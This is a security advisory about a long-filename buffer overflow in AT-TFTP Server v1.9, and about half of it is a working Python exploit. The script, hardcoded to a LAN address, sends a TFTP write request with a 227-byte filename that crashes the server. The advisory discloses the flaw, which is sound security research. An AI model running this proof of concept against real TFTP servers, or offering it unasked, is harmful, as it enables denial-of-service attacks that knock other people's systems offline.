TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)
------------------------------------------------------------------
SUMMARY:
AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp)
It provides an implementation of the TFTPv2 protocol.
A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which
could be exploited by remote or local attackers to execute arbitrary commands
or cause a denial of service. This flaw is due to a buffer overflow error when
handling an overly long file name (more than 227 bytes) passed to a "GET" or
"PUT" command, which could be exploited by malicious users to compromise a
vulnerable system or crash an affected application.
----------
DETAILS:
Vulnerable systems: AT-TFTP Server v 1.9 and probable prior
Exploit:
#!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))
------------------------------------------
Liu Qixu
NCNIPC
|